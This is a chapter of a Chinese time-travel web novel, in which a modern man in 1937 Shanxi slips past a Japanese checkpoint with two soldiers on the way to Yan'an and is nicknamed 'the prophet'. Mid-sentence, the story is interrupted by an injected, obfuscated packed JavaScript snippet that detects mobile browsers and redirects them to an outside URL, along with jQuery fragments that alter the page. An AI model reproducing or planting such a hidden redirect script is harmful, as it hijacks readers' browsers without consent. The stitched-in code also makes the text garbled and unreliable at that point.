从杨庄到延安，地图上的直线距离不过三百里。但在1937年的山西，这三百里意味着需要穿越至少两道岛国军的封锁线，翻过四座积雪覆盖的山梁，还要避开随时可能出现的伪军巡逻队和土匪。
林晏一行三人——他，加上团部派来的两名护送战士，老孙和小马——已经走了五天。原计划七天抵达，但一场突如其来的暴雪把他们困在山洞里整整一天一夜。干粮消耗比预计快，更重要的是，寒冷像细密的针，无孔不入地消耗着人的体力和意志。
“林干事，喝口热水。”老孙递过来一个军用水壶，壶身斑驳，是缴获的日式装备。水是温的，带着铁锈和柴火烟混合的味道。
林晏接过来喝了一小口，喉咙里火辣辣的疼——前两天有点受寒，还没好利索。
“谢谢。”他把水壶递回去。
“您嗓子还疼？”小马凑过来，他是个十八九岁的小伙子，圆脸，总是笑眯眯的，但眼神很机警，“我这儿还有点甘草片，卫生员给的。”
“不用，省着点。”林晏摆摆手，把围巾又裹紧了些。这围巾是沈擎苍临行前塞给他的，灰色的粗毛线，织得不算平整，但厚实。沈擎苍说这是他母亲很多年前织的，一直没怎么用。
现在想来，那可能不只是御寒的物件。
洞里很安静，只有柴火噼啪的响声和洞外呼啸的风声。他们选这个山洞很隐蔽，入口被几丛枯死的灌木半掩着，里面空间不大，但足够三人蜷缩。老孙在洞口做了伪装，还设了两个简易警报装置——用细线串起几个空罐头盒，一碰就响。
“林干事，延安……真有图书馆吗？”小马忽然问，眼睛在火光映照下亮晶晶的。
“应该有吧。”林晏其实也不确定。1937年的延安，在他的历史知识里只是一个模糊的符号——革命圣地，抗战灯塔。具体有什么设施，他完全没概念。
“那得多大啊。”小马向往地说，“得有多少书？一千本？两千本？”
老孙笑了一声：“傻小子，图书馆的书，那得按屋子算，哪能按本数。”
“一屋子书……”小马喃喃道，“那得认多少字才看得完。”
林晏没接话。这个时代对知识的渴望，常常以这种最朴素的方式表达出来。在连队里，很多战士最大的愿望，就是能完整地读完一本《识字课本》，能给家里写一封不用求人代笔的信。
“等到了延安，我要是能看看图书馆，回去能跟王石头他们吹半年。”小马又说。
“前提是咱们得安全到。”老孙往火堆里添了根柴，语气平静，“明天要过封锁线了，都警醒点。”
气氛瞬间凝重起来。
所谓封锁线，不是明确的铁丝网或关卡，而是岛国军和伪军在一些交通要道设置的流动哨卡和巡逻队。他们不会全天候守着某处，但会在特定时间段反复巡查，像一张时隐时现的网。
他们手里有一份简略的地图，标注了几个可能的过境点，以及最近一周的巡逻时间规律——这是团部侦察兵用血换来的情报。但规律只是规律，战场上最不缺的就是意外。
“睡吧。”老孙说，“我值第一班，小马第二班，林干事你好好休息，明天要用脑子。”
林晏点点头，裹紧军大衣，靠着洞壁闭上眼睛。但睡不着。
脑子里乱糟糟的。一会儿是延安，一会儿是连队，一会儿是沈擎苍。离开前那天早晨，沈擎苍拍他肩膀的力道，他还记得。还有那本手抄的《山西敌后侦察要诀》，他贴身放着，纸页已经有些软了。
沈擎苍说，理论要从土里长出来。
林晏现在做的，算不算把未来的“理论”硬塞进1937年的“土”里？那些教材，那些方法，到底是在帮助战士，还是在制造一种不切实际的依赖？
还有那封奇怪的信……大卫·史密斯。这个名字像一根刺，扎在意识深处。沈擎苍让他别多想，说团部会处理。但他怎么可能不多想？一个远在北平的外国学者，怎么会知道他？还用了“另一种时空的烙印”这种近乎直白的表述？
除非……有人把他的讲课内容，原封不动地传出去了。
是谁？
李铁柱？赵大牛？王石头？□□？还是团部听过他课的参谋？
林晏不敢往下想。这种猜疑本身，就是对这半年建立起来的所有信任的腐蚀。
第二天凌晨四点，天还漆黑，三人就熄灭火堆，收拾行装出发。
雪停了，但风更大了，卷起地上的积雪，打在脸上像沙子一样疼。他们沿着一条干涸的河床走，这是老孙选的路线——河床两侧有高岸遮挡，不容易被远处发现，而且石头多，脚印容易被风吹散。
“从这里往前五里，就是第一道封锁线。”老孙压低声音说，“平时是两个伪军带一个鬼子，每隔两小时巡逻一次。但最近据说加强了，具体情况不清楚。”
林晏点点头，紧了紧背包带。背包里除了几件换洗衣物和干粮，最重要的就是那套五册教材的修订稿，以及沈擎苍给他的小册子。这些东西用油布包了好几层，防水防潮。
河床渐渐变窄，两侧的土崖越来越高。老孙打了个手势，三人停下，贴着崖壁隐蔽。
前方传来模糊的说话声。
老孙示意小马留在原地保护林晏，自己像猫一样往前摸去。几分钟后他回来，脸色凝重。
“情况不对。”他说，“前面不是流动哨，是固定哨卡。新设的，有两个木头岗亭，至少四个人，有机枪。”
林晏心里一沉：“绕路？”
“绕路要多走一天，而且其他路线更危险。”老孙摇摇头，“只能等机会。”
他们在河床的一个拐弯处潜伏下来，这里有个凹陷，勉强能藏三个人。老孙用枯枝和雪做了简单伪装，然后拿出怀表——也是缴获的，表盘上有日文。
“现在是五点二十。按之前的情报，六点整会有换岗，那时候会有几分钟的混乱。”老孙说，“我们趁那个时候快速通过。但问题是，岗亭的位置正好卡在河床最窄处，两边是陡坡，很难爬。”
林晏仔细观察地形。确实，河床在这里收缩到只有七八米宽，两侧是近乎垂直的土崖，高约四五米。岗亭一左一右，形成了天然的关卡。如果有机枪封锁，冲过去就是送死。
“有没有可能……让他们自己离开？”林晏忽然问。
老孙和小马都看向他。
“我的意思是，制造一个动静，把他们引开。”林晏解释道，“比如在另一个方向弄出响声，让他们以为有人试图突破，然后趁他们去查看的时候，我们快速通过。”
“动静太大，会引来更多人。”老孙说，“动静太小，他们可能只派一个人去看，剩下的人守着，还是过不去。”
林晏沉思。这确实是个难题。他想起了教材里关于“注意力分配”的章节——人的注意力是有限的，尤其是在长时间值守的疲劳状态下。
“如果我们能制造两个动静呢？”林晏说，“一个在左边远处，一个在右边近处。远处的动静大，吸引主要注意力；近处的动静小，但更可疑，让他们必须分兵查看。”
老孙眼睛一亮：“声东击西，再击西？”
“对。而且两个动静要有时间差，让他们分批离开。”林晏在地上用树枝简单画着，“我们先在左边远处弄出大动静——比如推倒一堆石头。岗哨听到后，大概率会派两个人去查看，因为动静大，可能是有规模的渗透。这时候岗亭还剩两个人。”
“然后我们在右边近处，弄个小动静，比如扔块石头进灌木丛。剩下两个人会很警惕，但又不确定是不是动物或者风吹的。他们可能会派一个人去看看，或者两个人一起去，但不会走太远。”
“只要岗亭空出来哪怕一分钟，我们就能冲过去。”
小马听得眼睛发亮：“林干事，你这脑子真好使！”
老孙却皱眉：“计划不错，但谁去制造动静？我们只有三个人。”
“我去左边远处。”小马立刻说，“我跑得快，弄完动静就往反方向跑，甩掉追兵后再绕回来汇合。”
“那右边近处的动静呢？”老孙问。
林晏看了看地形：“右边土崖上有些灌木，我们可以提前设置一个简单的触发装置——用细线绑一块石头，拉到我们隐蔽的位置。到时候一拉线，石头滚下去，就能制造动静。而且我们可以控制时机。”
老孙沉吟片刻，看了看怀表：“五点四十。还有二十分钟换岗。来得及吗？”
“试试。”林晏说。
三人迅速行动。小马带上两颗手榴弹——不是为了炸人，是为了制造更大的声响——悄悄往左后方摸去。老孙和林晏则爬到右侧土崖上方，找到一处灌木丛，用缴获的细铁丝绑了一块拳头大的石头，铁丝另一端拉回河床隐蔽处。
“记住，”老孙对林晏说，“拉动铁丝后，不管发生什么，立刻往对岸冲。不要回头，不要停。”
林晏点头，手心出汗。
五点五十五分。天边开始泛白，但河床里还很暗。岗亭里亮着微弱的灯光，能看到人影晃动——换岗时间快到了。
老孙盯着怀表，呼吸平稳。林晏握着铁丝的手有些抖，他深吸几口气，强迫自己冷静。
五点五十八分。
左边远处传来“轰”的一声闷响，紧接着是石头滚落的声音。声音在寂静的清晨传得很远。
岗亭里立刻骚动起来。林晏看到四个人影冲出来，其中两个端着枪往声音方向跑去，另外两个留在原地，警惕地张望。
“再等等。”老孙压低声音。
三十秒后，林晏猛地拉动铁丝。
崖上的石头滚落，砸在灌木丛里，发出“哗啦啦”的声响。声音不大，但在安静的清晨足够清晰。
留守的两个哨兵立刻转向右边。其中一人举枪瞄准，另一人犹豫了一下，端着枪小心翼翼地向灌木丛靠近。
就是现在！
老孙一挥手，两人从隐蔽处冲出，以最快速度冲向河床对岸。七八米的距离，平时不过几秒钟，但此刻感觉无比漫长。林晏能听到自己的心跳，能听到踩雪的咯吱声，能听到远处哨兵的脚步声。
他们冲过了河床，冲上了对岸的缓坡，躲进一片乱石堆后。
“安全了。”老孙喘着气说。
林晏回头看去，那个查看灌木丛的哨兵已经返回岗亭，正和同伴指手画脚地说着什么。他们没有发现刚才有人通过了关卡。
“小马那边……”林晏担心道。
“他会没事的。”老孙说，“那小子机灵，而且我们约定了一号备用汇合点。走。”
两人继续前进，但没走河床，而是爬上了东侧的山梁。从高处可以看到，小马制造动静的方向，有两个伪军正在搜索，但显然一无所获。
一个小时后，他们在预定的一号汇合点——一棵巨大的老槐树下，找到了小马。小伙子脸上蹭破了皮，但笑容灿烂。
“成功了！”小马兴奋地说，“我把手榴弹塞在一堆松动的石头下面，拉了弦就跑。那声响，跟打炮似的！”
“干得好。”老孙拍了拍他的肩膀。
三人稍作休整，吃了点干粮，继续赶路。过了第一道封锁线，后面的路相对好走一些，但依然不能放松警惕。
中午时分，他们在一个废弃的窑洞休息。老孙出去侦察周围情况，小马负责警戒，林晏则拿出教材稿，就着洞口的光线检查。
稿子是他这半年心血的结晶。从最初的《侦察兵三要三不要》，到完整的五册体系，每一页都浸透着鲜血和汗水——不只是他自己的，更是那些牺牲战士的。
他翻到《情报分析分册》的第三章：“信息真伪甄别九法”。这一章他写得很艰难，因为很多方法需要基于统计学和逻辑学基础，而这个时代的战士大多只有小学文化，甚至不识字。
最后他不得不把方法简化，用最直白的比喻：信息就像河里的鱼，有的浮在上面一眼就能看见，有的藏在深水需要耐心钓，有的看着像鱼其实是块石头。
“林干事，”小马忽然开口，打断了他的思绪，“您说，咱们这套教材，真能让战士们少死点人吗？”
林晏抬起头。小马的表情很认真，甚至有些沉重。
“为什么这么问？”
“我有个表哥，也在咱们团，三连的。”小马说，“上个月牺牲了。他们连遇到鬼子伏击，表哥是侦察兵，本来该提前发现异常的……但没发现。后来我听他们连的人说，表哥是按老法子侦察的，只看了主要道路，没注意侧面山坡。”
林晏心里一紧。这正是教材里强调要避免的错误——视野局限，只关注“明显”而忽略“可能”。
“如果……如果我表哥学过您的教材，会不会……”小马没说完，但意思清楚了。
林晏合上稿子，沉默了片刻。
“我不能保证学了教材就一定不会牺牲。”他缓缓说，“战争太复杂，变数太多。但学了，至少能多一分活下来的可能。能少犯一些用血换来的错误。”
“那就值了。”小马用力点头，“等教材印出来，我要给我表哥烧一本。让他……让他在那边也能学。”
这话说得朴素，却让林晏喉头一哽。他想起沈擎苍的话：一线的战士不怕死，但怕死得没价值。
这些教材，如果能减少一些“无价值的牺牲”，那这半年的所有努力，就都有了意义。
下午继续赶路。越靠近延安，路上的行人渐渐多起来——有推着小车运物资的老乡，有牵着毛驴的商贩，也有像他们一样行色匆匆的军人。气氛明显不一样了，虽然依然能听到远处的炮声，但这里的人们脸上少了几分惊恐，多了几分希望。
傍晚，他们抵达一个叫张家川的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140734|196318||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
村子。这里已经是边区相对稳固的区域，村里有民兵站岗，还有一个小型的兵站，负责接待过往的部队人员。
兵站的负责人是个四十多岁的老兵，姓张，一条腿有些跛，但精神很好。他检查了三人的证件和介绍信，热情地安排他们住下。
“从山西来的？路上辛苦了。”张站长说，“这几天往延安去的人特别多，有开会的，有学习的，还有从各地来的青年学生。你们来得巧，明天有一支运输队出发去延安，可以跟着一起走，安全些。”
“太好了。”老孙松了口气。有运输队掩护，安全系数大大提高。
兵站的条件比野外好多了，有热炕，有热水，甚至还有一顿热乎的晚饭——小米粥，窝窝头，还有一小碟咸菜。对走了六天野路的三人来说，这简直是盛宴。
吃完饭，林晏在兵站的院子里散步。院子不大，墙根堆着柴火，屋檐下挂着几串干辣椒和玉米。几个民兵在擦拭武器，低声交谈着。一切都是那么平静，那么……正常。
这种正常，在1937年的中国，本身就是一种奢侈。
“林晏同志？”一个声音从身后传来。
林晏回头，看到一个三十岁左右、戴着眼镜、穿着八路军军装但气质更像文人的男同志。
“我是。您是？”
“我是总政治部宣传科的，姓秦。”男同志伸出手，“听说你来了，特地来看看。你的《时间战法》初稿，我看过，很有见地。”
林晏和他握手：“秦科长过奖了，还有很多不成熟的地方。”
“不成熟不要紧，关键是有新思想。”秦科长说，“延安现在最缺的就是新思想。走，屋里坐坐，聊聊？”
两人进了兵站的一间小办公室。秦科长泡了两杯茶——真正的茶叶，虽然粗粝，但在这个年代已经是难得的享受。
“你的教材体系，我听说了。”秦科长开门见山，“五册，涵盖侦察、情报、战术、敌情、群众工作。很全面。但我想知道，你为什么会想到用‘时间’作为核心概念？”
这个问题很敏锐。林晏斟酌了一下措辞：
“因为我观察到，岛国军的作战模式有很强的时间规律性。他们依靠严密的计划和调度，这既是优点，也是弱点。如果我们能打乱他们的时间节奏，让他们从‘按计划作战’变成‘被迫应对’，就能获得主动权。”
“但这个概念……很新颖。”秦科长推了推眼镜，“不像是从传统的军事理论里来的。”
林晏心里一紧。又是这种试探。
“是我在实践中总结的。”他谨慎地说，“结合了一些……其他领域的思路。”
“比如？”秦科长饶有兴趣。
“比如工业生产中的流程管理，比如心理学上的注意力分配理论。”林晏尽量说得模糊，“我觉得战争不只是武力的对抗，更是认知和节奏的对抗。”
秦科长若有所思地点头：“认知和节奏……说得好。那你对‘未来’怎么看？我的意思是，你对这场战争的结局，有什么判断？”
这个问题更危险了。林晏端起茶杯，借着喝水的动作掩饰思考。
“我相信我们会胜利。”他说，“因为我们是正义的一方，因为我们有千千万万不愿意做奴隶的人民。但胜利不会轻易到来，需要付出巨大的牺牲，需要正确的策略，也需要……一点历史的运气。”
“历史的运气。”秦科长重复了一遍，笑了，“很谨慎的说法。但我喜欢。你知道吗，延安有些同志，看了你的材料后，给你起了个代号。”
“代号？”
“‘先知’。”秦科长说，“他们说，你的很多想法，像是能预见未来的变化。当然，这是玩笑，但也说明你的思想确实超前。”
先知。
林晏感到后背发凉。这个代号，和那封信里的“另一种时空的烙印”，形成了诡异的呼应。
是巧合吗？
“只是个玩笑，别紧张。”秦科长似乎看出了他的不安，“在延安，有新思想的人都会被起外号。我当年刚来的时候，因为爱引用古籍，被叫‘老夫子’。现在不也习惯了？”
林晏勉强笑了笑。
“好好休息，明天跟运输队一起走，路上安全。”秦科长起身，“到了延安，会有更多同志想和你交流。做好准备，你的那些想法，可能会引起一些争论——但争论是好事，真理越辩越明。”
送走秦科长，林晏回到房间，却毫无睡意。
老孙和小马已经睡着了，发出均匀的呼吸声。林晏坐在炕沿，看着窗外清冷的月光。
先知。
这个代号像一块石头，压在他心上。在2026年，这只是一个网络流行词，一个玩笑。但在1937年，在一个战争年代，在一个人们真正需要“先知”指引方向的年代，这个词有完全不同的分量。
他不是先知。他只是个侥幸记得一些历史碎片的普通人。他甚至不敢确定，自己的介入会不会改变那些他“知道”的结局。
如果历史因为他而改变了呢？如果太原会战的结果不同了呢？如果……如果因为他提供的那些方法，导致某些本该发生的胜利没有发生，或者某些本该避免的惨剧发生了呢？
这种可能性让他不寒而栗。
他来到这个时代，本意只是生存。但不知不觉中，他已经卷入了历史的漩涡，并且正在试图影响它的流向。
沈擎苍说，理论要从土里长出来。
可他现在做的，更像是在1937年的土地上，播下2026年的种子。这些种子会长成什么？是庄稼，还是杂草？是救命良药，还是致命毒药？
他不知道。
月光透过窗纸，在地上投下模糊的光影。林晏从贴身口袋里掏出那本《山西敌后侦察要诀》，轻轻抚摸封面上沈擎苍的字迹。
“理论要从土里长出来，不能从天上掉下来。”
他低声重复着这句话。
也许，他不该再纠结于自己“来自未来”的身份。也许，他应该像沈擎苍说的那样，真正地扎根进这片土地，从这片土地的苦难和坚韧中，生长出自己的思考和智慧。
他不是先知。
他只是一个来自另一个时间的普通人，试图在这个最残酷的年代，找到自己的位置，做一些力所能及的事。
这就够了。
林晏把册子收好，躺下，闭上眼睛。
明天就要到延安了。新的挑战，新的思考，新的可能性，都在那里等着他。
而他，已经准备好了。
窗外的月光，静静洒在1937年冬日的土地上。远处，黄河的涛声隐约可闻，像这片古老土地沉重而绵长的呼吸。
在这呼吸声中，无数人正在醒来，或正在睡去；正在战斗，或正在奔赴战斗的路上。
林晏是其中之一。
这就够了。